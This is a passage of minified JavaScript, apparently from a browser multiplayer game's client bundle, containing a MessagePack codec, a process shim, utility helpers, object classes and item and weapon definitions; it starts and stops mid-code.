  3998. var L = c.byteOffset, s = c.byteLength;
  3999. (c = c.buffer).byteLength !== s && (c.slice ? c = c.slice(L, L + s) : (c = new Uint8Array(c)).byteLength !== s && (c = Array.prototype.slice.call(c, L, L + s)));
  4000. } else {
  4001. if ("string" == typeof c) return J.from.call(V, c);
  4002. if ("number" == typeof c) throw new TypeError('"value" argument must not be a number');
  4003. }
  4004. return new Uint8Array(c);
  4005. };
  4006. }, function (y, V) {
  4007. V.copy = function (d, J, T, c) {
  4008. var L;
  4009. T || (T = 0), c || 0 === c || (c = this.length), J || (J = 0);
  4010. var p = c - T;
  4011. if (d === this && T < J && J < c) for (L = p - 1; L >= 0; L--) d[L + J] = this[L + T]; else for (L = 0; L < p; L++) d[L + J] = this[L + T];
  4012. return p;
  4013. }, V.toString = function (d, J, T) {
  4014. var c = 0 | J;
  4015. T || (T = this.length);
  4016. for (var L = "", p = 0; c < T;) (p = this[c++]) < 128 ? L += String.fromCharCode(p) : (192 == (224 & p) ? p = (31 & p) << 6 | 63 & this[c++] : 224 == (240 & p) ? p = (15 & p) << 12 | (63 & this[c++]) << 6 | 63 & this[c++] : 240 == (248 & p) && (p = (7 & p) << 18 | (63 & this[c++]) << 12 | (63 & this[c++]) << 6 | 63 & this[c++]), p >= 65536 ? (p -= 65536, L += String.fromCharCode(55296 + (p >>> 10), 56320 + (1023 & p))) : L += String.fromCharCode(p));
  4017. return L;
  4018. }, V.write = function (d, J) {
  4019. for (var T = J || (J |= 0), c = d.length, L = 0, p = 0; p < c;) (L = d.charCodeAt(p++)) < 128 ? this[T++] = L : L < 2048 ? (this[T++] = 192 | L >>> 6, this[T++] = 128 | 63 & L) : L < 55296 || L > 57343 ? (this[T++] = 224 | L >>> 12, this[T++] = 128 | L >>> 6 & 63, this[T++] = 128 | 63 & L) : (L = 65536 + (L - 55296 << 10 | d.charCodeAt(p++) - 56320), this[T++] = 240 | L >>> 18, this[T++] = 128 | L >>> 12 & 63, this[T++] = 128 | L >>> 6 & 63, this[T++] = 128 | 63 & L);
  4020. return T - J;
  4021. };
  4022. }, function (y, V, d) {
  4023. V.setExtPackers = function (H) {
  4024. H.addExtPacker(14, Error, [g, G]), H.addExtPacker(1, EvalError, [g, G]), H.addExtPacker(2, RangeError, [g, G]), H.addExtPacker(3, ReferenceError, [g, G]), H.addExtPacker(4, SyntaxError, [g, G]), H.addExtPacker(5, TypeError, [g, G]), H.addExtPacker(6, URIError, [g, G]), H.addExtPacker(10, RegExp, [P, G]), H.addExtPacker(11, Boolean, [q, G]), H.addExtPacker(12, String, [q, G]), H.addExtPacker(13, Date, [Number, G]), H.addExtPacker(15, Number, [q, G]), "undefined" != typeof Uint8Array && (H.addExtPacker(17, Int8Array, p), H.addExtPacker(18, Uint8Array, p), H.addExtPacker(19, Int16Array, p), H.addExtPacker(20, Uint16Array, p), H.addExtPacker(21, Int32Array, p), H.addExtPacker(22, Uint32Array, p), H.addExtPacker(23, Float32Array, p), "undefined" != typeof Float64Array && H.addExtPacker(24, Float64Array, p), "undefined" != typeof Uint8ClampedArray && H.addExtPacker(25, Uint8ClampedArray, p), H.addExtPacker(26, ArrayBuffer, p), H.addExtPacker(29, DataView, p)), T.hasBuffer && H.addExtPacker(27, L, T.from);
  4025. };
  4026. var J, T = d(0), L = T.global, p = T.Uint8Array.from, U = {name: 1, message: 1, stack: 1, columnNumber: 1, fileName: 1, lineNumber: 1};
  4027. function G(H) {
  4028. return J || (J = d(9).encode), J(H);
  4029. }
  4030. function q(H) {
  4031. return H.valueOf();
  4032. }
  4033. function P(H) {
  4034. (H = RegExp.prototype.toString.call(H).split("/")).shift();
  4035. var N = [H.pop()];
  4036. return N.unshift(H.join("/")), N;
  4037. }
  4038. function g(H) {
  4039. var N = {};
  4040. for (var X in U) N[X] = H[X];
  4041. return N;
  4042. }
  4043. }, function (y, V, J) {
  4044. var T = J(5), L = J(7), U = L.Uint64BE, G = L.Int64BE, q = J(0), P = J(6), g = J(34), H = J(13).uint8, N = J(3).ExtBuffer, X = "undefined" != typeof Uint8Array, F = "undefined" != typeof Map, Z = [];
  4045. Z[1] = 212, Z[2] = 213, Z[4] = 214, Z[8] = 215, Z[16] = 216, V.getWriteType = function (z) {
  4046. var O = g.getWriteToken(z), E = z && z.useraw, I = X && z && z.binarraybuffer, M = I ? q.isArrayBuffer : q.isBuffer, K = I ? function (Q, D) {
  4047. Y(Q, new Uint8Array(D));
  4048. } : Y, R = F && z && z.usemap ? function (Q, D) {
  4049. if (!(D instanceof Map)) return x(Q, D);
  4050. var W = D.size;
  4051. O[W < 16 ? 128 + W : W <= 65535 ? 222 : 223](Q, W);
  4052. var B = Q.codec.encode;
  4053. D.forEach(function (j, C, y0) {
  4054. B(Q, C), B(Q, j);
  4055. });
  4056. } : x;
  4057. return {boolean: function (Q, D) {
  4058. O[D ? 195 : 194](Q, D);
  4059. }, function: A, number: function (Q, D) {
  4060. var W = 0 | D;
  4061. D === W ? O[-32 <= W && W <= 127 ? 255 & W : 0 <= W ? W <= 255 ? 204 : W <= 65535 ? 205 : 206 : -128 <= W ? 208 : -32768 <= W ? 209 : 210](Q, W) : O[203](Q, D);
  4062. }, object: E ? function (Q, D) {
  4063. if (M(D)) return function (W, B) {
  4064. var j = B.length;
  4065. O[j < 32 ? 160 + j : j <= 65535 ? 218 : 219](W, j), W.send(B);
  4066. }(Q, D);
  4067. S(Q, D);
  4068. } : S, string: function (Q) {
  4069. return function (D, W) {
  4070. var B = W.length, j = 5 + 3 * B;
  4071. D.offset = D.reserve(j);
  4072. var C = D.buffer, y0 = Q(B), y1 = D.offset + y0;
  4073. B = P.write.call(C, W, y1);
  4074. var y2 = Q(B);
  4075. if (y0 !== y2) {
  4076. var y3 = y1 + y2 - y0, y4 = y1 + B;
  4077. P.copy.call(C, C, y3, y1, y4);
  4078. }
  4079. O[1 === y2 ? 160 + B : y2 <= 3 ? 215 + y2 : 219](D, B), D.offset += B;
  4080. };
  4081. }(E ? function (Q) {
  4082. return Q < 32 ? 1 : Q <= 65535 ? 3 : 5;
  4083. } : function (Q) {
  4084. return Q < 32 ? 1 : Q <= 255 ? 2 : Q <= 65535 ? 3 : 5;
  4085. }), symbol: A, undefined: A};
  4086. function S(Q, D) {
  4087. if (null === D) return A(Q, D);
  4088. if (M(D)) return K(Q, D);
  4089. if (T(D)) return function (B, j) {
  4090. var C = j.length;
  4091. O[C < 16 ? 144 + C : C <= 65535 ? 220 : 221](B, C);
  4092. for (var y0 = B.codec.encode, y1 = 0; y1 < C; y1++) y0(B, j[y1]);
  4093. }(Q, D);
  4094. if (U.isUint64BE(D)) return function (B, j) {
  4095. O[207](B, j.toArray());
  4096. }(Q, D);
  4097. if (G.isInt64BE(D)) return function (B, j) {
  4098. O[211](B, j.toArray());
  4099. }(Q, D);
  4100. var W = Q.codec.getExtPacker(D);
  4101. if (W && (D = W(D)), D instanceof N) return function (B, j) {
  4102. var C = j.buffer, y0 = C.length, y1 = Z[y0] || (y0 < 255 ? 199 : y0 <= 65535 ? 200 : 201);
  4103. O[y1](B, y0), H[j.type](B), B.send(C);
  4104. }(Q, D);
  4105. R(Q, D);
  4106. }
  4107. function A(Q, D) {
  4108. O[192](Q, D);
  4109. }
  4110. function Y(Q, D) {
  4111. var W = D.length;
  4112. O[W < 255 ? 196 : W <= 65535 ? 197 : 198](Q, W), Q.send(D);
  4113. }
  4114. function x(Q, D) {
  4115. var W = Object.keys(D), B = W.length;
  4116. O[B < 16 ? 128 + B : B <= 65535 ? 222 : 223](Q, B);
  4117. var j = Q.codec.encode;
  4118. W.forEach(function (C) {
  4119. j(Q, C), j(Q, D[C]);
  4120. });
  4121. }
  4122. };
  4123. }, function (V, J, T) {
  4124. var L = T(4), U = T(7), G = U.Uint64BE, q = U.Int64BE, P = T(13).uint8, H = T(0), N = H.global, X = H.hasBuffer && "TYPED_ARRAY_SUPPORT" in N && !N.TYPED_ARRAY_SUPPORT, F = H.hasBuffer && N.prototype || {};
  4125. function Z() {
  4126. var A = P.slice();
  4127. return A[196] = z(196), A[197] = O(197), A[198] = E(198), A[199] = z(199), A[200] = O(200), A[201] = E(201), A[202] = I(202, 4, F.writeFloatBE || R, !0), A[203] = I(203, 8, F.writeDoubleBE || S, !0), A[204] = z(204), A[205] = O(205), A[206] = E(206), A[207] = I(207, 8, M), A[208] = z(208), A[209] = O(209), A[210] = E(210), A[211] = I(211, 8, K), A[217] = z(217), A[218] = O(218), A[219] = E(219), A[220] = O(220), A[221] = E(221), A[222] = O(222), A[223] = E(223), A;
  4128. }
  4129. function z(A) {
  4130. return function (Y, b) {
  4131. var x = Y.reserve(2), Q = Y.buffer;
  4132. Q[x++] = A, Q[x] = b;
  4133. };
  4134. }
  4135. function O(A) {
  4136. return function (Y, b) {
  4137. var x = Y.reserve(3), Q = Y.buffer;
  4138. Q[x++] = A, Q[x++] = b >>> 8, Q[x] = b;
  4139. };
  4140. }
  4141. function E(A) {
  4142. return function (Y, b) {
  4143. var x = Y.reserve(5), Q = Y.buffer;
  4144. Q[x++] = A, Q[x++] = b >>> 24, Q[x++] = b >>> 16, Q[x++] = b >>> 8, Q[x] = b;
  4145. };
  4146. }
  4147. function I(A, Y, b, x) {
  4148. return function (Q, D) {
  4149. var W = Q.reserve(Y + 1);
  4150. Q.buffer[W++] = A, b.call(Q.buffer, D, W, x);
  4151. };
  4152. }
  4153. function M(A, Y) {
  4154. new G(this, Y, A);
  4155. }
  4156. function K(A, Y) {
  4157. new q(this, Y, A);
  4158. }
  4159. function R(A, Y) {
  4160. L.write(this, A, Y, !1, 23, 4);
  4161. }
  4162. function S(A, Y) {
  4163. L.write(this, A, Y, !1, 52, 8);
  4164. }
  4165. J.getWriteToken = function (A) {
  4166. return A && A.uint8array ? function () {
  4167. var Y = Z();
  4168. return Y[202] = I(202, 4, R), Y[203] = I(203, 8, S), Y;
  4169. }() : X || H.hasBuffer && A && A.safe ? function () {
  4170. var Y = P.slice();
  4171. return Y[196] = I(196, 1, N.prototype.writeUInt8), Y[197] = I(197, 2, N.prototype.writeUInt16BE), Y[198] = I(198, 4, N.prototype.writeUInt32BE), Y[199] = I(199, 1, N.prototype.writeUInt8), Y[200] = I(200, 2, N.prototype.writeUInt16BE), Y[201] = I(201, 4, N.prototype.writeUInt32BE), Y[202] = I(202, 4, N.prototype.writeFloatBE), Y[203] = I(203, 8, N.prototype.writeDoubleBE), Y[204] = I(204, 1, N.prototype.writeUInt8), Y[205] = I(205, 2, N.prototype.writeUInt16BE), Y[206] = I(206, 4, N.prototype.writeUInt32BE), Y[207] = I(207, 8, M), Y[208] = I(208, 1, N.prototype.writeInt8), Y[209] = I(209, 2, N.prototype.writeInt16BE), Y[210] = I(210, 4, N.prototype.writeInt32BE), Y[211] = I(211, 8, K), Y[217] = I(217, 1, N.prototype.writeUInt8), Y[218] = I(218, 2, N.prototype.writeUInt16BE), Y[219] = I(219, 4, N.prototype.writeUInt32BE), Y[220] = I(220, 2, N.prototype.writeUInt16BE), Y[221] = I(221, 4, N.prototype.writeUInt32BE), Y[222] = I(222, 2, N.prototype.writeUInt16BE), Y[223] = I(223, 4, N.prototype.writeUInt32BE), Y;
  4172. }() : Z();
  4173. };
  4174. }, function (y, V, d) {
  4175. V.setExtUnpackers = function (H) {
  4176. H.addExtUnpacker(14, [U, q(Error)]), H.addExtUnpacker(1, [U, q(EvalError)]), H.addExtUnpacker(2, [U, q(RangeError)]), H.addExtUnpacker(3, [U, q(ReferenceError)]), H.addExtUnpacker(4, [U, q(SyntaxError)]), H.addExtUnpacker(5, [U, q(TypeError)]), H.addExtUnpacker(6, [U, q(URIError)]), H.addExtUnpacker(10, [U, G]), H.addExtUnpacker(11, [U, P(Boolean)]), H.addExtUnpacker(12, [U, P(String)]), H.addExtUnpacker(13, [U, P(Date)]), H.addExtUnpacker(15, [U, P(Number)]), "undefined" != typeof Uint8Array && (H.addExtUnpacker(17, P(Int8Array)), H.addExtUnpacker(18, P(Uint8Array)), H.addExtUnpacker(19, [g, P(Int16Array)]), H.addExtUnpacker(20, [g, P(Uint16Array)]), H.addExtUnpacker(21, [g, P(Int32Array)]), H.addExtUnpacker(22, [g, P(Uint32Array)]), H.addExtUnpacker(23, [g, P(Float32Array)]), "undefined" != typeof Float64Array && H.addExtUnpacker(24, [g, P(Float64Array)]), "undefined" != typeof Uint8ClampedArray && H.addExtUnpacker(25, P(Uint8ClampedArray)), H.addExtUnpacker(26, g), H.addExtUnpacker(29, [g, P(DataView)])), T.hasBuffer && H.addExtUnpacker(27, P(L));
  4177. };
  4178. var J, T = d(0), L = T.global, p = {name: 1, message: 1, stack: 1, columnNumber: 1, fileName: 1, lineNumber: 1};
  4179. function U(H) {
  4180. return J || (J = d(15).decode), J(H);
  4181. }
  4182. function G(H) {
  4183. return RegExp.apply(null, H);
  4184. }
  4185. function q(H) {
  4186. return function (N) {
  4187. var X = new H;
  4188. for (var F in p) X[F] = N[F];
  4189. return X;
  4190. };
  4191. }
  4192. function P(H) {
  4193. return function (N) {
  4194. return new H(N);
  4195. };
  4196. }
  4197. function g(H) {
  4198. return new Uint8Array(H).buffer;
  4199. }
  4200. }, function (y, V, d) {
  4201. var J = d(17);
  4202. function T(U) {
  4203. var G, q = new Array(256);
  4204. for (G = 0; G <= 127; G++) q[G] = c(G);
  4205. for (G = 128; G <= 143; G++) q[G] = p(G - 128, U.map);
  4206. for (G = 144; G <= 159; G++) q[G] = p(G - 144, U.array);
  4207. for (G = 160; G <= 191; G++) q[G] = p(G - 160, U.str);
  4208. for (q[192] = c(null), q[193] = null, q[194] = c(!1), q[195] = c(!0), q[196] = L(U.uint8, U.bin), q[197] = L(U.uint16, U.bin), q[198] = L(U.uint32, U.bin), q[199] = L(U.uint8, U.ext), q[200] = L(U.uint16, U.ext), q[201] = L(U.uint32, U.ext), q[202] = U.float32, q[203] = U.float64, q[204] = U.uint8, q[205] = U.uint16, q[206] = U.uint32, q[207] = U.uint64, q[208] = U.int8, q[209] = U.int16, q[210] = U.int32, q[211] = U.int64, q[212] = p(1, U.ext), q[213] = p(2, U.ext), q[214] = p(4, U.ext), q[215] = p(8, U.ext), q[216] = p(16, U.ext), q[217] = L(U.uint8, U.str), q[218] = L(U.uint16, U.str), q[219] = L(U.uint32, U.str), q[220] = L(U.uint16, U.array), q[221] = L(U.uint32, U.array), q[222] = L(U.uint16, U.map), q[223] = L(U.uint32, U.map), G = 224; G <= 255; G++) q[G] = c(G - 256);
  4209. return q;
  4210. }
  4211. function c(U) {
  4212. return function () {
  4213. return U;
  4214. };
  4215. }
  4216. function L(U, G) {
  4217. return function (q) {
  4218. var P = U(q);
  4219. return G(q, P);
  4220. };
  4221. }
  4222. function p(U, G) {
  4223. return function (q) {
  4224. return G(q, U);
  4225. };
  4226. }
  4227. V.getReadToken = function (U) {
  4228. var G = J.getReadFormat(U);
  4229. return U && U.useraw ? function (q) {
  4230. var P, g = T(q).slice();
  4231. for (g[217] = g[196], g[218] = g[197], g[219] = g[198], P = 160; P <= 191; P++) g[P] = p(P - 160, q.bin);
  4232. return g;
  4233. }(G) : T(G);
  4234. };
  4235. }, function (y, V, d) {
  4236. V.Encoder = c;
  4237. var J = d(18), T = d(10).EncodeBuffer;
  4238. function c(L) {
  4239. if (!(this instanceof c)) return new c(L);
  4240. T.call(this, L);
  4241. }
  4242. c.prototype = new T, J.mixin(c.prototype), c.prototype.encode = function (L) {
  4243. this.write(L), this.emit("data", this.read());
  4244. }, c.prototype.end = function (L) {
  4245. arguments.length && this.encode(L), this.flush(), this.emit("end");
  4246. };
  4247. }, function (y, V, d) {
  4248. V.Decoder = c;
  4249. var J = d(18), T = d(16).DecodeBuffer;
  4250. function c(L) {
  4251. if (!(this instanceof c)) return new c(L);
  4252. T.call(this, L);
  4253. }
  4254. c.prototype = new T, J.mixin(c.prototype), c.prototype.decode = function (L) {
  4255. arguments.length && this.write(L), this.flush();
  4256. }, c.prototype.push = function (L) {
  4257. this.emit("data", L);
  4258. }, c.prototype.end = function (L) {
  4259. this.decode(L), this.emit("end");
  4260. };
  4261. }, function (y, V, d) {
  4262. d(8), d(2), V.createCodec = d(1).createCodec;
  4263. }, function (y, V, d) {
  4264. d(8), d(2), V.codec = {preset: d(1).preset};
  4265. }, function (y, V) {
  4266. var J, T, L = y.exports = {};
  4267. function U() {
  4268. throw new Error("setTimeout has not been defined");
  4269. }
  4270. function G() {
  4271. throw new Error("clearTimeout has not been defined");
  4272. }
  4273. function q(E) {
  4274. if (J === setTimeout) return setTimeout(E, 0);
  4275. if ((J === U || !J) && setTimeout) return J = setTimeout, setTimeout(E, 0);
  4276. try {
  4277. return J(E, 0);
  4278. } catch (I) {
  4279. try {
  4280. return J.call(null, E, 0);
  4281. } catch (M) {
  4282. return J.call(this, E, 0);
  4283. }
  4284. }
  4285. }
  4286. !function () {
  4287. try {
  4288. J = "function" == typeof setTimeout ? setTimeout : U;
  4289. } catch (E) {
  4290. J = U;
  4291. }
  4292. try {
  4293. T = "function" == typeof clearTimeout ? clearTimeout : G;
  4294. } catch (I) {
  4295. T = G;
  4296. }
  4297. }();
  4298. var P, H = [], N = !1, X = -1;
  4299. function F() {
  4300. N && P && (N = !1, P.length ? H = P.concat(H) : X = -1, H.length && Z());
  4301. }
  4302. function Z() {
  4303. if (!N) {
  4304. var E = q(F);
  4305. N = !0;
  4306. for (var I = H.length; I;) {
  4307. for (P = H, H = []; ++X < I;) P && P[X].run();
  4308. X = -1, I = H.length;
  4309. }
  4310. P = null, N = !1, function (M) {
  4311. if (T === clearTimeout) return clearTimeout(M);
  4312. if ((T === G || !T) && clearTimeout) return T = clearTimeout, clearTimeout(M);
  4313. try {
  4314. T(M);
  4315. } catch (K) {
  4316. try {
  4317. return T.call(null, M);
  4318. } catch (w) {
  4319. return T.call(this, M);
  4320. }
  4321. }
  4322. }(E);
  4323. }
  4324. }
  4325. function z(E, I) {
  4326. this.fun = E, this.array = I;
  4327. }
  4328. function O() {}
  4329. L.nextTick = function (E) {
  4330. var I = new Array(arguments.length - 1);
  4331. if (arguments.length > 1) for (var M = 1; M < arguments.length; M++) I[M - 1] = arguments[M];
  4332. H.push(new z(E, I)), 1 !== H.length || N || q(Z);
  4333. }, z.prototype.run = function () {
  4334. this.fun.apply(null, this.array);
  4335. }, L.title = "browser", L.browser = !0, L.env = {}, L.argv = [], L.version = "", L.versions = {}, L.on = O, L.addListener = O, L.once = O, L.off = O, L.removeListener = O, L.removeAllListeners = O, L.emit = O, L.prependListener = O, L.prependOnceListener = O, L.listeners = function (E) {
  4336. return [];
  4337. }, L.binding = function (E) {
  4338. throw new Error("process.binding is not supported");
  4339. }, L.cwd = function () {
  4340. return "/";
  4341. }, L.chdir = function (E) {
  4342. throw new Error("process.chdir is not supported");
  4343. }, L.umask = function () {
  4344. return 0;
  4345. };
  4346. }, function (y, V) {
  4347. var d = Math.abs, J = (Math.cos, Math.sin, Math.pow, Math.sqrt), T = (d = Math.abs, Math.atan2), c = Math.PI;
  4348. y.exports.randInt = function (L, p) {
  4349. return Math.floor(Math.random() * (p - L + 1)) + L;
  4350. }, y.exports.randFloat = function (L, p) {
  4351. return Math.random() * (p - L + 1) + L;
  4352. }, y.exports.lerp = function (L, p, U) {
  4353. return L + (p - L) * U;
  4354. }, y.exports.decel = function (L, p) {
  4355. return L > 0 ? L = Math.max(0, L - p) : L < 0 && (L = Math.min(0, L + p)), L;
  4356. }, y.exports.getDistance = function (L, p, U, G) {
  4357. return J((U -= L) * U + (G -= p) * G);
  4358. }, y.exports.getDirection = function (L, p, U, G) {
  4359. return T(p - G, L - U);
  4360. }, y.exports.getAngleDist = function (L, p) {
  4361. var U = d(p - L) % (2 * c);
  4362. return U > c ? 2 * c - U : U;
  4363. }, y.exports.isNumber = function (L) {
  4364. return "number" == typeof L && !isNaN(L) && isFinite(L);
  4365. }, y.exports.isString = function (L) {
  4366. return L && "string" == typeof L;
  4367. }, y.exports.kFormat = function (L) {
  4368. return L > 999 ? (L / 1e3).toFixed(1) + "k" : L;
  4369. }, y.exports.capitalizeFirst = function (L) {
  4370. return L.charAt(0).toUpperCase() + L.slice(1);
  4371. }, y.exports.fixTo = function (L, p) {
  4372. return parseFloat(L.toFixed(p));
  4373. }, y.exports.sortByPoints = function (L, p) {
  4374. return parseFloat(p.points) - parseFloat(L.points);
  4375. }, y.exports.lineInRect = function (L, U, G, q, P, H, N, X) {
  4376. var F = P, Z = N;
  4377. if (P > N && (F = N, Z = P), Z > G && (Z = G), F < L && (F = L), F > Z) return !1;
  4378. var z = H, O = X, E = N - P;
  4379. if (Math.abs(E) > 1e-7) {
  4380. var I = (X - H) / E, M = H - I * P;
  4381. z = I * F + M, O = I * Z + M;
  4382. }
  4383. if (z > O) {
  4384. var K = O;
  4385. O = z, z = K;
  4386. }
  4387. return O > q && (O = q), z < U && (z = U), !(z > O);
  4388. }, y.exports.containsPoint = function (L, p, U) {
  4389. var G = L.getBoundingClientRect(), q = G.left + window.scrollX, P = G.top + window.scrollY, g = G.width, H = G.height;
  4390. return p > q && p < q + g && U > P && U < P + H;
  4391. }, y.exports.mousifyTouchEvent = function (L) {
  4392. var p = L.changedTouches[0];
  4393. L.screenX = p.screenX, L.screenY = p.screenY, L.clientX = p.clientX, L.clientY = p.clientY, L.pageX = p.pageX, L.pageY = p.pageY;
  4394. }, y.exports.hookTouchEvents = function (L, p) {
  4395. var U = !p, G = !1;
  4396. function q(P) {
  4397. y.exports.mousifyTouchEvent(P), window.setUsingTouch(!0), U && (P.preventDefault(), P.stopPropagation()), G && (L.onclick && L.onclick(P), L.onmouseout && L.onmouseout(P), G = !1);
  4398. }
  4399. L.addEventListener("touchstart", y.exports.checkTrusted(function (P) {
  4400. y.exports.mousifyTouchEvent(P), window.setUsingTouch(!0), U && (P.preventDefault(), P.stopPropagation()), L.onmouseover && L.onmouseover(P), G = !0;
  4401. }), !1), L.addEventListener("touchmove", y.exports.checkTrusted(function (P) {
  4402. y.exports.mousifyTouchEvent(P), window.setUsingTouch(!0), U && (P.preventDefault(), P.stopPropagation()), y.exports.containsPoint(L, P.pageX, P.pageY) ? G || (L.onmouseover && L.onmouseover(P), G = !0) : G && (L.onmouseout && L.onmouseout(P), G = !1);
  4403. }), !1), L.addEventListener("touchend", y.exports.checkTrusted(q), !1), L.addEventListener("touchcancel", y.exports.checkTrusted(q), !1), L.addEventListener("touchleave", y.exports.checkTrusted(q), !1);
  4404. }, y.exports.removeAllChildren = function (L) {
  4405. for (; L.hasChildNodes();) L.removeChild(L.lastChild);
  4406. }, y.exports.generateElement = function (L) {
  4407. var p = document.createElement(L.tag || "div");
  4408. function U(P, g) {
  4409. L[P] && (p[g] = L[P]);
  4410. }
  4411. for (var G in U("text", "textContent"), U("html", "innerHTML"), U("class", "className"), L) {
  4412. switch (G) {
  4413. case "tag":
  4414. case "text":
  4415. case "html":
  4416. case "class":
  4417. case "style":
  4418. case "hookTouch":
  4419. case "parent":
  4420. case "children":
  4421. continue;
  4422. }
  4423. p[G] = L[G];
  4424. }
  4425. if (p.onclick && (p.onclick = y.exports.checkTrusted(p.onclick)), p.onmouseover && (p.onmouseover = y.exports.checkTrusted(p.onmouseover)), p.onmouseout && (p.onmouseout = y.exports.checkTrusted(p.onmouseout)), L.style && (p.style.cssText = L.style), L.hookTouch && y.exports.hookTouchEvents(p), L.parent && L.parent.appendChild(p), L.children) for (var q = 0; q < L.children.length; q++) p.appendChild(L.children[q]);
  4426. return p;
  4427. }, y.exports.eventIsTrusted = function (L) {
  4428. return !L || "boolean" != typeof L.isTrusted || L.isTrusted;
  4429. }, y.exports.checkTrusted = function (L) {
  4430. return function (p) {
  4431. p && p instanceof Event && y.exports.eventIsTrusted(p) && L(p);
  4432. };
  4433. }, y.exports.randomString = function (L) {
  4434. for (var p = "", U = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", G = 0; G < L; G++) p += U.charAt(Math.floor(Math.random() * U.length));
  4435. return p;
  4436. }, y.exports.countInArray = function (L, p) {
  4437. for (var U = 0, G = 0; G < L.length; G++) L[G] === p && U++;
  4438. return U;
  4439. };
  4440. }, function (y, V) {
  4441. y.exports.AnimText = function () {
  4442. this.init = function (d, J, T, c, L, p, U) {
  4443. this.x = d, this.y = J, this.color = U, this.scale = T, this.startScale = this.scale, this.maxScale = 1.5 * T, this.scaleSpeed = 0.7, this.speed = c, this.life = L, this.text = p;
  4444. }, this.update = function (d) {
  4445. this.life && (this.life -= d, this.y -= this.speed * d, this.scale += this.scaleSpeed * d, this.scale >= this.maxScale ? (this.scale = this.maxScale, this.scaleSpeed *= -1) : this.scale <= this.startScale && (this.scale = this.startScale, this.scaleSpeed = 0), this.life <= 0 && (this.life = 0));
  4446. }, this.render = function (d, J, T) {
  4447. d.fillStyle = this.color;
  4448. d.font = this.scale + "px Hammersmith One";
  4449. d.fillText(this.text, this.x - J, this.y - T);
  4450. };
  4451. }, y.exports.TextManager = function () {
  4452. this.texts = [], this.update = function (d, J, T, c) {
  4453. J.textBaseline = "middle", J.textAlign = "center";
  4454. for (var L = 0; L < this.texts.length; ++L) this.texts[L].life && (this.texts[L].update(d), this.texts[L].render(J, T, c));
  4455. }, this.showText = function (d, J, T, L, p, U, G) {
  4456. for (var q, P = 0; P < this.texts.length; ++P) if (!this.texts[P].life) {
  4457. q = this.texts[P];
  4458. break;
  4459. }
  4460. q || (q = new y.exports.AnimText, this.texts.push(q)), q.init(d, J, T, L, p, U, G);
  4461. };
  4462. };
  4463. }, function (y, V) {
  4464. y.exports = function (d) {
  4465. this.sid = d, this.init = function (J, T, c, L, p, U, G) {
  4466. U = U || {}, this.sentTo = {}, this.gridLocations = [], this.active = !0, this.doUpdate = U.doUpdate, this.x = J, this.y = T, this.dir = c, this.xWiggle = 0, this.yWiggle = 0, this.scale = L, this.type = p, this.id = U.id, this.owner = G, this.name = U.name, this.isItem = null != this.id, this.group = U.group, this.health = U.health, this.currentHealth = this.health, this.layer = 2, null != this.group ? this.layer = this.group.layer : 0 == this.type ? this.layer = 3 : 2 == this.type ? this.layer = 0 : 4 == this.type && (this.layer = -1), this.colDiv = U.colDiv || 1, this.blocker = U.blocker, this.ignoreCollision = U.ignoreCollision, this.dontGather = U.dontGather, this.hideFromEnemy = U.hideFromEnemy, this.friction = U.friction, this.projDmg = U.projDmg, this.dmg = U.dmg, this.pDmg = U.pDmg, this.pps = U.pps, this.zIndex = U.zIndex || 0, this.turnSpeed = U.turnSpeed, this.req = U.req, this.trap = U.trap, this.healCol = U.healCol, this.teleport = U.teleport, this.boostSpeed = U.boostSpeed, this.projectile = U.projectile, this.shootRange = U.shootRange, this.shootRate = U.shootRate, this.shootCount = this.shootRate, this.spawnPoint = U.spawnPoint;
  4467. }, this.changeHealth = function (J, T) {
  4468. return this.health += J, this.health <= 0;
  4469. }, this.getScale = function (J, T) {
  4470. return J = J || 1, this.scale * (this.isItem || 2 == this.type || 3 == this.type || 4 == this.type ? 1 : 0.6 * J) * (T ? 1 : this.colDiv);
  4471. }, this.visibleToPlayer = function (J) {
  4472. return !this.hideFromEnemy || this.owner && (this.owner == J || this.owner.team && J.team == this.owner.team);
  4473. }, this.update = function (J) {
  4474. this.active && (this.xWiggle && (this.xWiggle *= Math.pow(0.99, J)), this.yWiggle && (this.yWiggle *= Math.pow(0.99, J)), this.turnSpeed && (this.dir += this.turnSpeed * J));
  4475. };
  4476. };
  4477. }, function (y, V) {
  4478. y.exports.groups = [{id: 0, name: "food", layer: 0}, {id: 1, name: "walls", place: !0, limit: 30, layer: 0}, {id: 2, name: "spikes", place: !0, limit: 15, layer: 0}, {id: 3, name: "mill", place: !0, limit: 7, layer: 1}, {id: 4, name: "mine", place: !0, limit: 1, layer: 0}, {id: 5, name: "trap", place: !0, limit: 6, layer: -1}, {id: 6, name: "booster", place: !0, limit: 12, layer: -1}, {id: 7, name: "turret", place: !0, limit: 2, layer: 1}, {id: 8, name: "watchtower", place: !0, limit: 12, layer: 1}, {id: 9, name: "buff", place: !0, limit: 4, layer: -1}, {id: 10, name: "spawn", place: !0, limit: 1, layer: -1}, {id: 11, name: "sapling", place: !0, limit: 2, layer: 0}, {id: 12, name: "blocker", place: !0, limit: 3, layer: -1}, {id: 13, name: "teleporter", place: !0, limit: 2, layer: -1}], V.projectiles = [{indx: 0, layer: 0, src: "arrow_1", dmg: 25, speed: 1.6, scale: 103, range: 1e3}, {indx: 1, layer: 1, dmg: 25, scale: 20}, {indx: 0, layer: 0, src: "arrow_1", dmg: 35, speed: 2.5, scale: 103, range: 1200}, {indx: 0, layer: 0, src: "arrow_1", dmg: 30, speed: 2, scale: 103, range: 1200}, {indx: 1, layer: 1, dmg: 16, scale: 20}, {indx: 0, layer: 0, src: "bullet_1", dmg: 50, speed: 3.6, scale: 160, range: 1400}], V.weapons = window.weapons = [{id: 0, type: 0, name: "tool hammer", desc: "tool for gathering all resources", src: "hammer_1", length: 140, width: 140, xOff: -3, yOff: 18, dmg: 25, range: 65, gather: 1, speed: 300}, {id: 1, type: 0, age: 2, name: "hand axe", desc: "gathers resources at a higher rate", src: "axe_1", length: 140, width: 140, xOff: 3, yOff: 24, dmg: 30, spdMult: 1, range: 70, gather: 2, speed: 400}, {id: 2, type: 0, age: 8, pre: 1, name: "great axe", desc: "deal more damage and gather more resources", src: "great_axe_1", length: 140, width: 140, xOff: -8, yOff: 25, dmg: 35, spdMult: 1, range: 75, gather: 4, speed: 400}, {id: 3, type: 0, age: 2, name: "short sword", desc: "increased heal power but slower move speed", src: "sword_1", iPad: 1.3, length: 130, width: 210, xOff: -8, yOff: 46, dmg: 35, spdMult: 0.85, range: 110, gather: 1, speed: 300}, {id: 4, type: 0, age: 8, pre: 